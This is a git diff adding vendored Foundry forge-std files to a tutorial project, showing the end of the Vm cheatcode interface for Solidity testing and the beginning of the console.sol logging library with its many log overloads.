+
+    /// Mocks a call to an address, returning specified data.
+    /// Calldata can either be strict or a partial match, e.g. if you only
+    /// pass a Solidity selector to the expected calldata, then the entire Solidity
+    /// function will be mocked.
+    function mockCall(address callee, bytes calldata data, bytes calldata returnData) external;
+
+    /// Mocks a call to an address with a specific `msg.value`, returning specified data.
+    /// Calldata match takes precedence over `msg.value` in case of ambiguity.
+    function mockCall(address callee, uint256 msgValue, bytes calldata data, bytes calldata returnData) external;
+
+    /// Sets the *next* call's `msg.sender` to be the input address.
+    function prank(address msgSender) external;
+
+    /// Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input.
+    function prank(address msgSender, address txOrigin) external;
+
+    /// Sets `block.prevrandao`.
+    /// Not available on EVM versions before Paris. Use `difficulty` instead.
+    /// If used on unsupported EVM versions it will revert.
+    function prevrandao(bytes32 newPrevrandao) external;
+
+    /// Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification.
+    function readCallers() external returns (CallerMode callerMode, address msgSender, address txOrigin);
+
+    /// Resets the nonce of an account to 0 for EOAs and 1 for contract accounts.
+    function resetNonce(address account) external;
+
+    /// Revert the state of the EVM to a previous snapshot
+    /// Takes the snapshot ID to revert to.
+    /// Returns `true` if the snapshot was successfully reverted.
+    /// Returns `false` if the snapshot does not exist.
+    /// **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`.
+    function revertTo(uint256 snapshotId) external returns (bool success);
+
+    /// Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots
+    /// Takes the snapshot ID to revert to.
+    /// Returns `true` if the snapshot was successfully reverted and deleted.
+    /// Returns `false` if the snapshot does not exist.
+    function revertToAndDelete(uint256 snapshotId) external returns (bool success);
+
+    /// Revokes persistent status from the address, previously added via `makePersistent`.
+    function revokePersistent(address account) external;
+
+    /// See `revokePersistent(address)`.
+    function revokePersistent(address[] calldata accounts) external;
+
+    /// Sets `block.height`.
+    function roll(uint256 newHeight) external;
+
+    /// Updates the currently active fork to given block number
+    /// This is similar to `roll` but for the currently active fork.
+    function rollFork(uint256 blockNumber) external;
+
+    /// Updates the currently active fork to given transaction. This will `rollFork` with the number
+    /// of the block the transaction was mined in and replays all transaction mined before it in the block.
+    function rollFork(bytes32 txHash) external;
+
+    /// Updates the given fork to given block number.
+    function rollFork(uint256 forkId, uint256 blockNumber) external;
+
+    /// Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block.
+    function rollFork(uint256 forkId, bytes32 txHash) external;
+
+    /// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
+    function selectFork(uint256 forkId) external;
+
+    /// Sets the nonce of an account. Must be higher than the current nonce of the account.
+    function setNonce(address account, uint64 newNonce) external;
+
+    /// Sets the nonce of an account to an arbitrary value.
+    function setNonceUnsafe(address account, uint64 newNonce) external;
+
+    /// Snapshot the current state of the evm.
+    /// Returns the ID of the snapshot that was created.
+    /// To revert a snapshot use `revertTo`.
+    function snapshot() external returns (uint256 snapshotId);
+
+    /// Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called.
+    function startPrank(address msgSender) external;
+
+    /// Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input.
+    function startPrank(address msgSender, address txOrigin) external;
+
+    /// Resets subsequent calls' `msg.sender` to be `address(this)`.
+    function stopPrank() external;
+
+    /// Stores a value to an address' storage slot.
+    function store(address target, bytes32 slot, bytes32 value) external;
+
+    /// Fetches the given transaction from the active fork and executes it on the current state.
+    function transact(bytes32 txHash) external;
+
+    /// Fetches the given transaction from the given fork and executes it on the current state.
+    function transact(uint256 forkId, bytes32 txHash) external;
+
+    /// Sets `tx.gasprice`.
+    function txGasPrice(uint256 newGasPrice) external;
+
+    /// Sets `block.timestamp`.
+    function warp(uint256 newTimestamp) external;
+
+    // ======== Testing ========
+
+    /// Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.
+    function expectCallMinGas(address callee, uint256 msgValue, uint64 minGas, bytes calldata data) external;
+
+    /// Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.
+    function expectCallMinGas(address callee, uint256 msgValue, uint64 minGas, bytes calldata data, uint64 count) external;
+
+    /// Expects a call to an address with the specified calldata.
+    /// Calldata can either be a strict or a partial match.
+    function expectCall(address callee, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified calldata.
+    function expectCall(address callee, bytes calldata data, uint64 count) external;
+
+    /// Expects a call to an address with the specified `msg.value` and calldata.
+    function expectCall(address callee, uint256 msgValue, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified `msg.value` and calldata.
+    function expectCall(address callee, uint256 msgValue, bytes calldata data, uint64 count) external;
+
+    /// Expect a call to an address with the specified `msg.value`, gas, and calldata.
+    function expectCall(address callee, uint256 msgValue, uint64 gas, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified `msg.value`, gas, and calldata.
+    function expectCall(address callee, uint256 msgValue, uint64 gas, bytes calldata data, uint64 count) external;
+
+    /// Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.).
+    /// Call this function, then emit an event, then call a function. Internally after the call, we check if
+    /// logs were emitted in the expected order with the expected topics and data (as specified by the booleans).
+    function expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData) external;
+
+    /// Same as the previous method, but also checks supplied address against emitting contract.
+    function expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData, address emitter) external;
+
+    /// Prepare an expected log with all topic and data checks enabled.
+    /// Call this function, then emit an event, then call a function. Internally after the call, we check if
+    /// logs were emitted in the expected order with the expected topics and data.
+    function expectEmit() external;
+
+    /// Same as the previous method, but also checks supplied address against emitting contract.
+    function expectEmit(address emitter) external;
+
+    /// Expects an error on next call with any revert data.
+    function expectRevert() external;
+
+    /// Expects an error on next call that starts with the revert data.
+    function expectRevert(bytes4 revertData) external;
+
+    /// Expects an error on next call that exactly matches the revert data.
+    function expectRevert(bytes calldata revertData) external;
+
+    /// Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the current subcontext. If any other
+    /// memory is written to, the test will fail. Can be called multiple times to add more ranges to the set.
+    function expectSafeMemory(uint64 min, uint64 max) external;
+
+    /// Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the next created subcontext.
+    /// If any other memory is written to, the test will fail. Can be called multiple times to add more ranges
+    /// to the set.
+    function expectSafeMemoryCall(uint64 min, uint64 max) external;
+
+    /// Marks a test as skipped. Must be called at the top of the test.
+    function skip(bool skipTest) external;
+
+    /// Stops all safe memory expectation in the current subcontext.
+    function stopExpectSafeMemory() external;
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/console.sol b/basic/41-foundry/my_project/lib/forge-std/src/console.sol
new file mode 100644
index 000000000..3c6f13361
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/console.sol
@@ -0,0 +1,1532 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+library console {
+    address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
+
+    function _sendLogPayload(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function log() internal view {
+        _sendLogPayload(abi.encodeWithSignature('log()'));
+    }
+
+    function logInt(int p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(int)', p0));
+    }
+
+    function logUint(uint p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint)', p0));
+    }
+
+    function logString(string memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function logBool(bool p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function logAddress(address p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function logBytes(bytes memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes)', p0));
+    }
+
+    function logBytes1(bytes1 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes1)', p0));
+    }
+
+    function logBytes2(bytes2 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes2)', p0));
+    }
+
+    function logBytes3(bytes3 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes3)', p0));
+    }
+
+    function logBytes4(bytes4 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes4)', p0));
+    }
+
+    function logBytes5(bytes5 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes5)', p0));
+    }
+
+    function logBytes6(bytes6 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes6)', p0));
+    }
+
+    function logBytes7(bytes7 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes7)', p0));
+    }
+
+    function logBytes8(bytes8 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes8)', p0));
+    }
+
+    function logBytes9(bytes9 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes9)', p0));
+    }
+
+    function logBytes10(bytes10 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes10)', p0));
+    }
+
+    function logBytes11(bytes11 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes11)', p0));
+    }
+
+    function logBytes12(bytes12 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes12)', p0));
+    }
+
+    function logBytes13(bytes13 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes13)', p0));
+    }
+
+    function logBytes14(bytes14 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes14)', p0));
+    }
+
+    function logBytes15(bytes15 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes15)', p0));
+    }
+
+    function logBytes16(bytes16 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes16)', p0));
+    }
+
+    function logBytes17(bytes17 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes17)', p0));
+    }
+
+    function logBytes18(bytes18 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes18)', p0));
+    }
+
+    function logBytes19(bytes19 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes19)', p0));
+    }
+
+    function logBytes20(bytes20 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes20)', p0));
+    }
+
+    function logBytes21(bytes21 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes21)', p0));
+    }
+
+    function logBytes22(bytes22 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes22)', p0));
+    }
+
+    function logBytes23(bytes23 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes23)', p0));
+    }
+
+    function logBytes24(bytes24 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes24)', p0));
+    }
+
+    function logBytes25(bytes25 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes25)', p0));
+    }
+
+    function logBytes26(bytes26 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes26)', p0));
+    }
+
+    function logBytes27(bytes27 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes27)', p0));
+    }
+
+    function logBytes28(bytes28 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes28)', p0));
+    }
+
+    function logBytes29(bytes29 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes29)', p0));
+    }
+
+    function logBytes30(bytes30 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes30)', p0));
+    }
+
+    function logBytes31(bytes31 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes31)', p0));
+    }
+
+    function logBytes32(bytes32 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes32)', p0));
+    }
+
+    function log(uint p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint)', p0));
+    }
+
+    function log(string memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function log(bool p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function log(address p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function log(uint p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint)', p0, p1));
+    }
+
+    function log(uint p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string)', p0, p1));
+    }
+
+    function log(uint p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool)', p0, p1));
+    }
+
+    function log(uint p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address)', p0, p1));
+    }
+
+    function log(string memory p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint)', p0, p1));
+    }
+
+    function log(string memory p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+
+    function log(string memory p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool)', p0, p1));
+    }
+
+    function log(string memory p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address)', p0, p1));
+    }
+
+    function log(bool p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint)', p0, p1));
+    }
+
+    function log(bool p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string)', p0, p1));
+    }
+
+    function log(bool p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool)', p0, p1));
+    }
+
+    function log(bool p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address)', p0, p1));
+    }
+
+    function log(address p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint)', p0, p1));
+    }
+
+    function log(address p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string)', p0, p1));
+    }
+
+    function log(address p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool)', p0, p1));
+    }
+
+    function log(address p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address)', p0, p1));
+    }
+
+    function log(uint p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,uint)', p0, p1, p2, p3));
+    }
